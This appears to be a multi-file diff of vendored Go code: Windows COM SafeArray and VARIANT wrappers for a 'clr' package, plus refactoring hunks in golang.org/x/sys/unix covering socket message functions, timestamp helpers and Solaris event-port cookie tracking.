// SafeArrayAccessData increments the lock count of an array, and retrieves a pointer to the array data
|
||||
// HRESULT SafeArrayAccessData(
|
||||
// SAFEARRAY *psa,
|
||||
// void HUGEP **ppvData
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearrayaccessdata
|
||||
func SafeArrayAccessData(psa *SafeArray) (*uintptr, error) {
|
||||
debugPrint("Entering into safearray.SafeArrayAccessData()...")
|
||||
|
||||
var ppvData *uintptr
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayAccessData := modOleAuto.MustFindProc("SafeArrayAccessData")
|
||||
|
||||
hr, _, err := safeArrayAccessData.Call(
|
||||
uintptr(unsafe.Pointer(psa)),
|
||||
uintptr(unsafe.Pointer(&ppvData)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return nil, err
|
||||
}
|
||||
if hr != S_OK {
|
||||
return nil, fmt.Errorf("the oleaut32!SafeArrayAccessData function returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return ppvData, nil
|
||||
}
|
||||
|
||||
// SafeArrayGetLBound gets the lower bound for any dimension of the specified safe array
|
||||
// HRESULT SafeArrayGetLBound(
|
||||
// SAFEARRAY *psa,
|
||||
// UINT nDim,
|
||||
// LONG *plLbound
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraygetlbound
|
||||
func SafeArrayGetLBound(psa *SafeArray, nDim uint32) (uint32, error) {
|
||||
debugPrint("Entering into safearray.SafeArrayGetLBound()...")
|
||||
var plLbound uint32
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayGetLBound := modOleAuto.MustFindProc("SafeArrayGetLBound")
|
||||
|
||||
hr, _, err := safeArrayGetLBound.Call(
|
||||
uintptr(unsafe.Pointer(psa)),
|
||||
uintptr(nDim),
|
||||
uintptr(unsafe.Pointer(&plLbound)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, err
|
||||
}
|
||||
if hr != S_OK {
|
||||
return 0, fmt.Errorf("the oleaut32!SafeArrayGetLBound function returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return plLbound, nil
|
||||
}
|
||||
|
||||
// SafeArrayGetUBound gets the upper bound for any dimension of the specified safe array
|
||||
// HRESULT SafeArrayGetUBound(
|
||||
// SAFEARRAY *psa,
|
||||
// UINT nDim,
|
||||
// LONG *plUbound
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraygetubound
|
||||
func SafeArrayGetUBound(psa *SafeArray, nDim uint32) (uint32, error) {
|
||||
debugPrint("Entering into safearray.SafeArrayGetUBound()...")
|
||||
|
||||
var plUbound uint32
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayGetUBound := modOleAuto.MustFindProc("SafeArrayGetUBound")
|
||||
|
||||
hr, _, err := safeArrayGetUBound.Call(
|
||||
uintptr(unsafe.Pointer(psa)),
|
||||
uintptr(nDim),
|
||||
uintptr(unsafe.Pointer(&plUbound)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, err
|
||||
}
|
||||
if hr != S_OK {
|
||||
return 0, fmt.Errorf("the oleaut32!SafeArrayGetUBound function returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return plUbound, nil
|
||||
}
|
||||
|
||||
// SafeArrayDestroy Destroys an existing array descriptor and all of the data in the array.
|
||||
// If objects are stored in the array, Release is called on each object in the array.
|
||||
// HRESULT SafeArrayDestroy(
|
||||
// SAFEARRAY *psa
|
||||
// );
|
||||
func SafeArrayDestroy(psa *SafeArray) error {
|
||||
debugPrint("Entering into safearray.SafeArrayDestroy()...")
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayDestroy := modOleAuto.MustFindProc("SafeArrayDestroy")
|
||||
|
||||
hr, _, err := safeArrayDestroy.Call(
|
||||
uintptr(unsafe.Pointer(psa)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the oleaut32!SafeArrayDestroy function call returned an error:\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the oleaut32!SafeArrayDestroy function returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
+107
@@ -0,0 +1,107 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"log"
|
||||
"strings"
|
||||
"unicode/utf16"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/text/encoding/unicode"
|
||||
"golang.org/x/text/transform"
|
||||
)
|
||||
|
||||
var Debug = false
|
||||
|
||||
// checkOK evaluates a HRESULT code for a caller and determines if there was an error
|
||||
func checkOK(hr uintptr, caller string) error {
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("%s returned 0x%08x", caller, hr)
|
||||
} else {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// must forces the program to exit if there is an error using the log.Fatal command
|
||||
func must(err error) {
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func utf16Le(s string) []byte {
|
||||
enc := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
|
||||
var buf bytes.Buffer
|
||||
t := transform.NewWriter(&buf, enc)
|
||||
t.Write([]byte(s))
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
func expectsParams(input string) bool {
|
||||
return !strings.Contains(input, "Void Main()")
|
||||
}
|
||||
|
||||
// ReadUnicodeStr takes a pointer to a unicode string in memory and returns a string value
|
||||
func ReadUnicodeStr(ptr unsafe.Pointer) string {
|
||||
debugPrint("Entering into utils.ReadUnicodeStr()...")
|
||||
var byteVal uint16
|
||||
out := make([]uint16, 0)
|
||||
for i := 0; ; i++ {
|
||||
byteVal = *(*uint16)(unsafe.Pointer(ptr))
|
||||
if byteVal == 0x0000 {
|
||||
break
|
||||
}
|
||||
out = append(out, byteVal)
|
||||
ptr = unsafe.Pointer(uintptr(ptr) + 2)
|
||||
}
|
||||
return string(utf16.Decode(out))
|
||||
}
|
||||
|
||||
// debugPrint is used to print messages only when debug has been enabled
|
||||
func debugPrint(message string) {
|
||||
if Debug {
|
||||
fmt.Println("[DEBUG] " + message)
|
||||
}
|
||||
}
|
||||
|
||||
// PrepareParameters creates a safe array of strings (arguments) nested inside a Variant object, which is itself
|
||||
// appended to the final safe array
|
||||
func PrepareParameters(params []string) (*SafeArray, error) {
|
||||
sab := SafeArrayBound{
|
||||
cElements: uint32(len(params)),
|
||||
lLbound: 0,
|
||||
}
|
||||
listStrSafeArrayPtr, err := SafeArrayCreate(VT_BSTR, 1, &sab) // VT_BSTR
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for i, p := range params {
|
||||
bstr, err := SysAllocString(p)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
SafeArrayPutElement(listStrSafeArrayPtr, int32(i), bstr)
|
||||
}
|
||||
|
||||
paramVariant := Variant{
|
||||
VT: VT_BSTR | VT_ARRAY, // VT_BSTR | VT_ARRAY
|
||||
Val: uintptr(unsafe.Pointer(listStrSafeArrayPtr)),
|
||||
}
|
||||
|
||||
sab2 := SafeArrayBound{
|
||||
cElements: uint32(1),
|
||||
lLbound: 0,
|
||||
}
|
||||
paramsSafeArrayPtr, err := SafeArrayCreate(VT_VARIANT, 1, &sab2) // VT_VARIANT
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = SafeArrayPutElement(paramsSafeArrayPtr, int32(0), unsafe.Pointer(¶mVariant))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return paramsSafeArrayPtr, nil
|
||||
}
|
||||
+38
@@ -0,0 +1,38 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
const (
|
||||
// VT_EMPTY No value was specified. If an optional argument to an Automation method is left blank, do not
|
||||
// pass a VARIANT of type VT_EMPTY. Instead, pass a VARIANT of type VT_ERROR with a value of DISP_E_PARAMNOTFOUND.
|
||||
VT_EMPTY uint16 = 0x0000
|
||||
// VT_NULL A propagating null value was specified. (This should not be confused with the null pointer.)
|
||||
// The null value is used for tri-state logic, as with SQL.
|
||||
VT_NULL uint16 = 0x0001
|
||||
// VT_UI1 is a Variant Type of Unsigned Integer of 1-byte
|
||||
VT_UI1 uint16 = 0x0011
|
||||
// VT_UT4 is a Varriant Type of Unsigned Integer of 4-byte
|
||||
VT_UI4 uint16 = 0x0013
|
||||
// VT_BSTR is a Variant Type of BSTR, an OLE automation type for transfering length-prefixed strings
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/9c5a5ce4-ff5b-45ce-b915-ada381b34ac1
|
||||
VT_BSTR uint16 = 0x0008
|
||||
// VT_VARIANT is a Variant Type of VARIANT, a container for a union that can hold many types of data
|
||||
VT_VARIANT uint16 = 0x000c
|
||||
// VT_ARRAY is a Variant Type of a SAFEARRAY
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/2e87a537-9305-41c6-a88b-b79809b3703a
|
||||
VT_ARRAY uint16 = 0x2000
|
||||
)
|
||||
|
||||
// from https://github.com/go-ole/go-ole/blob/master/variant_amd64.go
|
||||
// https://docs.microsoft.com/en-us/windows/win32/winauto/variant-structure
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-variant
|
||||
// https://docs.microsoft.com/en-us/previous-versions/windows/embedded/ms891678(v=msdn.10)?redirectedfrom=MSDN
|
||||
// VARIANT Type Constants https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/3fe7db9f-5803-4dc4-9d14-5425d3f5461f
|
||||
type Variant struct {
|
||||
VT uint16 // VARTYPE
|
||||
wReserved1 uint16
|
||||
wReserved2 uint16
|
||||
wReserved3 uint16
|
||||
Val uintptr
|
||||
_ [8]byte
|
||||
}
|
||||
+1
@@ -603,6 +603,7 @@ ccflags="$@"
|
||||
$2 ~ /^ITIMER_/ ||
|
||||
$2 !~ "WMESGLEN" &&
|
||||
$2 ~ /^W[A-Z0-9]+$/ ||
|
||||
$2 ~ /^P_/ ||
|
||||
$2 ~/^PPPIOC/ ||
|
||||
$2 ~ /^FAN_|FANOTIFY_/ ||
|
||||
$2 == "HID_MAX_DESCRIPTOR_SIZE" ||
|
||||
|
||||
+3
-9
@@ -215,18 +215,12 @@ func Accept(fd int) (nfd int, sa Sockaddr, err error) {
|
||||
return
|
||||
}
|
||||
|
||||
func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {
|
||||
func recvmsgRaw(fd int, p, oob []byte, flags int, rsa *RawSockaddrAny) (n, oobn int, recvflags int, err error) {
|
||||
// Recvmsg not implemented on AIX
|
||||
sa := new(SockaddrUnix)
|
||||
return -1, -1, -1, sa, ENOSYS
|
||||
return -1, -1, -1, ENOSYS
|
||||
}
|
||||
|
||||
func Sendmsg(fd int, p, oob []byte, to Sockaddr, flags int) (err error) {
|
||||
_, err = SendmsgN(fd, p, oob, to, flags)
|
||||
return
|
||||
}
|
||||
|
||||
func SendmsgN(fd int, p, oob []byte, to Sockaddr, flags int) (n int, err error) {
|
||||
func sendmsgN(fd int, p, oob []byte, ptr unsafe.Pointer, salen _Socklen, flags int) (n int, err error) {
|
||||
// SendmsgN not implemented on AIX
|
||||
return -1, ENOSYS
|
||||
}
|
||||
|
||||
+4
-31
@@ -325,10 +325,9 @@ func GetsockoptString(fd, level, opt int) (string, error) {
|
||||
//sys sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error)
|
||||
//sys recvmsg(s int, msg *Msghdr, flags int) (n int, err error)
|
||||
|
||||
func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {
|
||||
func recvmsgRaw(fd int, p, oob []byte, flags int, rsa *RawSockaddrAny) (n, oobn int, recvflags int, err error) {
|
||||
var msg Msghdr
|
||||
var rsa RawSockaddrAny
|
||||
msg.Name = (*byte)(unsafe.Pointer(&rsa))
|
||||
msg.Name = (*byte)(unsafe.Pointer(rsa))
|
||||
msg.Namelen = uint32(SizeofSockaddrAny)
|
||||
var iov Iovec
|
||||
if len(p) > 0 {
|
||||
@@ -352,29 +351,12 @@ func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from
|
||||
}
|
||||
oobn = int(msg.Controllen)
|
||||
recvflags = int(msg.Flags)
|
||||
// source address is only specified if the socket is unconnected
|
||||
if rsa.Addr.Family != AF_UNSPEC {
|
||||
from, err = anyToSockaddr(fd, &rsa)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
//sys sendmsg(s int, msg *Msghdr, flags int) (n int, err error)
|
||||
|
||||
func Sendmsg(fd int, p, oob []byte, to Sockaddr, flags int) (err error) {
|
||||
_, err = SendmsgN(fd, p, oob, to, flags)
|
||||
return
|
||||
}
|
||||
|
||||
func SendmsgN(fd int, p, oob []byte, to Sockaddr, flags int) (n int, err error) {
|
||||
var ptr unsafe.Pointer
|
||||
var salen _Socklen
|
||||
if to != nil {
|
||||
ptr, salen, err = to.sockaddr()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
}
|
||||
func sendmsgN(fd int, p, oob []byte, ptr unsafe.Pointer, salen _Socklen, flags int) (n int, err error) {
|
||||
var msg Msghdr
|
||||
msg.Name = (*byte)(unsafe.Pointer(ptr))
|
||||
msg.Namelen = uint32(salen)
|
||||
@@ -571,12 +553,7 @@ func UtimesNano(path string, ts []Timespec) error {
|
||||
if len(ts) != 2 {
|
||||
return EINVAL
|
||||
}
|
||||
// Darwin setattrlist can set nanosecond timestamps
|
||||
err := setattrlistTimes(path, ts, 0)
|
||||
if err != ENOSYS {
|
||||
return err
|
||||
}
|
||||
err = utimensat(AT_FDCWD, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), 0)
|
||||
err := utimensat(AT_FDCWD, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), 0)
|
||||
if err != ENOSYS {
|
||||
return err
|
||||
}
|
||||
@@ -596,10 +573,6 @@ func UtimesNanoAt(dirfd int, path string, ts []Timespec, flags int) error {
|
||||
if len(ts) != 2 {
|
||||
return EINVAL
|
||||
}
|
||||
err := setattrlistTimes(path, ts, flags)
|
||||
if err != ENOSYS {
|
||||
return err
|
||||
}
|
||||
return utimensat(dirfd, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), flags)
|
||||
}
|
||||
|
||||
|
||||
+1
-40
@@ -141,16 +141,6 @@ func direntNamlen(buf []byte) (uint64, bool) {
|
||||
func PtraceAttach(pid int) (err error) { return ptrace(PT_ATTACH, pid, 0, 0) }
|
||||
func PtraceDetach(pid int) (err error) { return ptrace(PT_DETACH, pid, 0, 0) }
|
||||
|
||||
type attrList struct {
|
||||
bitmapCount uint16
|
||||
_ uint16
|
||||
CommonAttr uint32
|
||||
VolAttr uint32
|
||||
DirAttr uint32
|
||||
FileAttr uint32
|
||||
Forkattr uint32
|
||||
}
|
||||
|
||||
//sysnb pipe(p *[2]int32) (err error)
|
||||
|
||||
func Pipe(p []int) (err error) {
|
||||
@@ -282,36 +272,7 @@ func Flistxattr(fd int, dest []byte) (sz int, err error) {
|
||||
return flistxattr(fd, xattrPointer(dest), len(dest), 0)
|
||||
}
|
||||
|
||||
func setattrlistTimes(path string, times []Timespec, flags int) error {
|
||||
_p0, err := BytePtrFromString(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var attrList attrList
|
||||
attrList.bitmapCount = ATTR_BIT_MAP_COUNT
|
||||
attrList.CommonAttr = ATTR_CMN_MODTIME | ATTR_CMN_ACCTIME
|
||||
|
||||
// order is mtime, atime: the opposite of Chtimes
|
||||
attributes := [2]Timespec{times[1], times[0]}
|
||||
options := 0
|
||||
if flags&AT_SYMLINK_NOFOLLOW != 0 {
|
||||
options |= FSOPT_NOFOLLOW
|
||||
}
|
||||
return setattrlist(
|
||||
_p0,
|
||||
unsafe.Pointer(&attrList),
|
||||
unsafe.Pointer(&attributes),
|
||||
unsafe.Sizeof(attributes),
|
||||
options)
|
||||
}
|
||||
|
||||
//sys setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error)
|
||||
|
||||
func utimensat(dirfd int, path string, times *[2]Timespec, flags int) error {
|
||||
// Darwin doesn't support SYS_UTIMENSAT
|
||||
return ENOSYS
|
||||
}
|
||||
//sys utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error)
|
||||
|
||||
/*
|
||||
* Wrapped
|
||||
|
||||
-5
@@ -169,11 +169,6 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
|
||||
return
|
||||
}
|
||||
|
||||
func setattrlistTimes(path string, times []Timespec, flags int) error {
|
||||
// used on Darwin for UtimesNano
|
||||
return ENOSYS
|
||||
}
|
||||
|
||||
//sys ioctl(fd int, req uint, arg uintptr) (err error)
|
||||
|
||||
//sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL
|
||||
|
||||
-5
@@ -194,11 +194,6 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
|
||||
return
|
||||
}
|
||||
|
||||
func setattrlistTimes(path string, times []Timespec, flags int) error {
|
||||
// used on Darwin for UtimesNano
|
||||
return ENOSYS
|
||||
}
|
||||
|
||||
//sys ioctl(fd int, req uint, arg uintptr) (err error)
|
||||
|
||||
//sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL
|
||||
|
||||
+6
-23
@@ -366,6 +366,8 @@ func Wait4(pid int, wstatus *WaitStatus, options int, rusage *Rusage) (wpid int,
|
||||
return
|
||||
}
|
||||
|
||||
//sys Waitid(idType int, id int, info *Siginfo, options int, rusage *Rusage) (err error)
|
||||
|
||||
func Mkfifo(path string, mode uint32) error {
|
||||
return Mknod(path, mode|S_IFIFO, 0)
|
||||
}
|
||||
@@ -1497,10 +1499,9 @@ func KeyctlRestrictKeyring(ringid int, keyType string, restriction string) error
|
||||
//sys keyctlRestrictKeyringByType(cmd int, arg2 int, keyType string, restriction string) (err error) = SYS_KEYCTL
|
||||
//sys keyctlRestrictKeyring(cmd int, arg2 int) (err error) = SYS_KEYCTL
|
||||
|
||||
func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {
|
||||
func recvmsgRaw(fd int, p, oob []byte, flags int, rsa *RawSockaddrAny) (n, oobn int, recvflags int, err error) {
|
||||
var msg Msghdr
|
||||
var rsa RawSockaddrAny
|
||||
msg.Name = (*byte)(unsafe.Pointer(&rsa))
|
||||
msg.Name = (*byte)(unsafe.Pointer(rsa))
|
||||
msg.Namelen = uint32(SizeofSockaddrAny)
|
||||
var iov Iovec
|
||||
if len(p) > 0 {
|
||||
@@ -1531,28 +1532,10 @@ func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from
|
||||
}
|
||||
oobn = int(msg.Controllen)
|
||||
recvflags = int(msg.Flags)
|
||||
// source address is only specified if the socket is unconnected
|
||||
if rsa.Addr.Family != AF_UNSPEC {
|
||||
from, err = anyToSockaddr(fd, &rsa)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func Sendmsg(fd int, p, oob []byte, to Sockaddr, flags int) (err error) {
|
||||
_, err = SendmsgN(fd, p, oob, to, flags)
|
||||
return
|
||||
}
|
||||
|
||||
func SendmsgN(fd int, p, oob []byte, to Sockaddr, flags int) (n int, err error) {
|
||||
var ptr unsafe.Pointer
|
||||
var salen _Socklen
|
||||
if to != nil {
|
||||
var err error
|
||||
ptr, salen, err = to.sockaddr()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
}
|
||||
func sendmsgN(fd int, p, oob []byte, ptr unsafe.Pointer, salen _Socklen, flags int) (n int, err error) {
|
||||
var msg Msghdr
|
||||
msg.Name = (*byte)(ptr)
|
||||
msg.Namelen = uint32(salen)
|
||||
@@ -2316,6 +2299,7 @@ type RemoteIovec struct {
|
||||
|
||||
//sys PidfdOpen(pid int, flags int) (fd int, err error) = SYS_PIDFD_OPEN
|
||||
//sys PidfdGetfd(pidfd int, targetfd int, flags int) (fd int, err error) = SYS_PIDFD_GETFD
|
||||
//sys PidfdSendSignal(pidfd int, sig Signal, info *Siginfo, flags int) (err error) = SYS_PIDFD_SEND_SIGNAL
|
||||
|
||||
//sys shmat(id int, addr uintptr, flag int) (ret uintptr, err error)
|
||||
//sys shmctl(id int, cmd int, buf *SysvShmDesc) (result int, err error)
|
||||
@@ -2464,5 +2448,4 @@ func Setitimer(which ItimerWhich, it Itimerval) (Itimerval, error) {
|
||||
// Vfork
|
||||
// Vhangup
|
||||
// Vserver
|
||||
// Waitid
|
||||
// _Sysctl
|
||||
-5
@@ -163,11 +163,6 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
|
||||
return -1, ENOSYS
|
||||
}
|
||||
|
||||
func setattrlistTimes(path string, times []Timespec, flags int) error {
|
||||
// used on Darwin for UtimesNano
|
||||
return ENOSYS
|
||||
}
|
||||
|
||||
//sys ioctl(fd int, req uint, arg uintptr) (err error)
|
||||
|
||||
//sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL
|
||||
|
||||
-5
@@ -149,11 +149,6 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
|
||||
return
|
||||
}
|
||||
|
||||
func setattrlistTimes(path string, times []Timespec, flags int) error {
|
||||
// used on Darwin for UtimesNano
|
||||
return ENOSYS
|
||||
}
|
||||
|
||||
//sys ioctl(fd int, req uint, arg uintptr) (err error)
|
||||
|
||||
//sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL
|
||||
|
||||
+85
-63
@@ -451,10 +451,9 @@ func Accept(fd int) (nfd int, sa Sockaddr, err error) {
|
||||
|
||||
//sys recvmsg(s int, msg *Msghdr, flags int) (n int, err error) = libsocket.__xnet_recvmsg
|
||||
|
||||
func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {
|
||||
func recvmsgRaw(fd int, p, oob []byte, flags int, rsa *RawSockaddrAny) (n, oobn int, recvflags int, err error) {
|
||||
var msg Msghdr
|
||||
var rsa RawSockaddrAny
|
||||
msg.Name = (*byte)(unsafe.Pointer(&rsa))
|
||||
msg.Name = (*byte)(unsafe.Pointer(rsa))
|
||||
msg.Namelen = uint32(SizeofSockaddrAny)
|
||||
var iov Iovec
|
||||
if len(p) > 0 {
|
||||
@@ -476,29 +475,12 @@ func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from
|
||||
return
|
||||
}
|
||||
oobn = int(msg.Accrightslen)
|
||||
// source address is only specified if the socket is unconnected
|
||||
if rsa.Addr.Family != AF_UNSPEC {
|
||||
from, err = anyToSockaddr(fd, &rsa)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func Sendmsg(fd int, p, oob []byte, to Sockaddr, flags int) (err error) {
|
||||
_, err = SendmsgN(fd, p, oob, to, flags)
|
||||
return
|
||||
}
|
||||
|
||||
//sys sendmsg(s int, msg *Msghdr, flags int) (n int, err error) = libsocket.__xnet_sendmsg
|
||||
|
||||
func SendmsgN(fd int, p, oob []byte, to Sockaddr, flags int) (n int, err error) {
|
||||
var ptr unsafe.Pointer
|
||||
var salen _Socklen
|
||||
if to != nil {
|
||||
ptr, salen, err = to.sockaddr()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
}
|
||||
func sendmsgN(fd int, p, oob []byte, ptr unsafe.Pointer, salen _Socklen, flags int) (n int, err error) {
|
||||
var msg Msghdr
|
||||
msg.Name = (*byte)(unsafe.Pointer(ptr))
|
||||
msg.Namelen = uint32(salen)
|
||||
@@ -755,8 +737,20 @@ type fileObjCookie struct {
|
||||
type EventPort struct {
|
||||
port int
|
||||
mu sync.Mutex
|
||||
fds map[uintptr]interface{}
|
||||
fds map[uintptr]*fileObjCookie
|
||||
paths map[string]*fileObjCookie
|
||||
// The user cookie presents an interesting challenge from a memory management perspective.
|
||||
// There are two paths by which we can discover that it is no longer in use:
|
||||
// 1. The user calls port_dissociate before any events fire
|
||||
// 2. An event fires and we return it to the user
|
||||
// The tricky situation is if the event has fired in the kernel but
|
||||
// the user hasn't requested/received it yet.
|
||||
// If the user wants to port_dissociate before the event has been processed,
|
||||
// we should handle things gracefully. To do so, we need to keep an extra
|
||||
// reference to the cookie around until the event is processed
|
||||
// thus the otherwise seemingly extraneous "cookies" map
|
||||
// The key of this map is a pointer to the corresponding &fCookie.cookie
|
||||
cookies map[*interface{}]*fileObjCookie
|
||||
}
|
||||
|
||||
// PortEvent is an abstraction of the port_event C struct.
|
||||
@@ -780,9 +774,10 @@ func NewEventPort() (*EventPort, error) {
|
||||
return nil, err
|
||||
}
|
||||
e := &EventPort{
|
||||
port: port,
|
||||
fds: make(map[uintptr]interface{}),
|
||||
paths: make(map[string]*fileObjCookie),
|
||||
port: port,
|
||||
fds: make(map[uintptr]*fileObjCookie),
|
||||
paths: make(map[string]*fileObjCookie),
|
||||
cookies: make(map[*interface{}]*fileObjCookie),
|
||||
}
|
||||
return e, nil
|
||||
}
|
||||
@@ -797,9 +792,13 @@ func NewEventPort() (*EventPort, error) {
|
||||
func (e *EventPort) Close() error {
|
||||
e.mu.Lock()
|
||||
defer e.mu.Unlock()
|
||||
err := Close(e.port)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
e.fds = nil
|
||||
e.paths = nil
|
||||
return Close(e.port)
|
||||
return nil
|
||||
}
|
||||
|
||||
// PathIsWatched checks to see if path is associated with this EventPort.
|
||||
@@ -836,6 +835,7 @@ func (e *EventPort) AssociatePath(path string, stat os.FileInfo, events int, coo
|
||||
return err
|
||||
}
|
||||
e.paths[path] = fCookie
|
||||
e.cookies[&fCookie.cookie] = fCookie
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -848,11 +848,19 @@ func (e *EventPort) DissociatePath(path string) error {
|
||||
return fmt.Errorf("%v is not associated with this Event Port", path)
|
||||
}
|
||||
_, err := port_dissociate(e.port, PORT_SOURCE_FILE, uintptr(unsafe.Pointer(f.fobj)))
|
||||
if err != nil {
|
||||
// If the path is no longer associated with this event port (ENOENT)
|
||||
// we should delete it from our map. We can still return ENOENT to the caller.
|
||||
// But we need to save the cookie
|
||||
if err != nil && err != ENOENT {
|
||||
return err
|
||||
}
|
||||
if err == nil {
|
||||
// dissociate was successful, safe to delete the cookie
|
||||
fCookie := e.paths[path]
|
||||
delete(e.cookies, &fCookie.cookie)
|
||||
}
|
||||
delete(e.paths, path)
|
||||
return nil
|
||||
return err
|
||||
}
|
||||
|
||||
// AssociateFd wraps calls to port_associate(3c) on file descriptors.
|
||||
@@ -862,12 +870,13 @@ func (e *EventPort) AssociateFd(fd uintptr, events int, cookie interface{}) erro
|
||||
if _, found := e.fds[fd]; found {
|
||||
return fmt.Errorf("%v is already associated with this Event Port", fd)
|
||||
}
|
||||
pcookie := &cookie
|
||||
_, err := port_associate(e.port, PORT_SOURCE_FD, fd, events, (*byte)(unsafe.Pointer(pcookie)))
|
||||
fCookie := &fileObjCookie{nil, cookie}
|
||||
_, err := port_associate(e.port, PORT_SOURCE_FD, fd, events, (*byte)(unsafe.Pointer(&fCookie.cookie)))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
e.fds[fd] = pcookie
|
||||
e.fds[fd] = fCookie
|
||||
e.cookies[&fCookie.cookie] = fCookie
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -880,11 +889,16 @@ func (e *EventPort) DissociateFd(fd uintptr) error {
|
||||
return fmt.Errorf("%v is not associated with this Event Port", fd)
|
||||
}
|
||||
_, err := port_dissociate(e.port, PORT_SOURCE_FD, fd)
|
||||
if err != nil {
|
||||
if err != nil && err != ENOENT {
|
||||
return err
|
||||
}
|
||||
if err == nil {
|
||||
// dissociate was successful, safe to delete the cookie
|
||||
fCookie := e.fds[fd]
|
||||
delete(e.cookies, &fCookie.cookie)
|
||||
}
|
||||
delete(e.fds, fd)
|
||||
return nil
|
||||
return err
|
||||
}
|
||||
|
||||
func createFileObj(name string, stat os.FileInfo) (*fileObj, error) {
|
||||
@@ -912,26 +926,48 @@ func (e *EventPort) GetOne(t *Timespec) (*PortEvent, error) {
|
||||
return nil, err
|
||||
}
|
||||
p := new(PortEvent)
|
||||
p.Events = pe.Events
|
||||
p.Source = pe.Source
|
||||
e.mu.Lock()
|
||||
defer e.mu.Unlock()
|
||||
switch pe.Source {
|
||||
case PORT_SOURCE_FD:
|
||||
p.Fd = uintptr(pe.Object)
|
||||
cookie := (*interface{})(unsafe.Pointer(pe.User))
|
||||
p.Cookie = *cookie
|
||||
delete(e.fds, p.Fd)
|
||||
case PORT_SOURCE_FILE:
|
||||
p.fobj = (*fileObj)(unsafe.Pointer(uintptr(pe.Object)))
|
||||
p.Path = BytePtrToString((*byte)(unsafe.Pointer(p.fobj.Name)))
|
||||
cookie := (*interface{})(unsafe.Pointer(pe.User))
|
||||
p.Cookie = *cookie
|
||||
delete(e.paths, p.Path)
|
||||
}
|
||||
e.peIntToExt(pe, p)
|
||||
return p, nil
|
||||
}
|
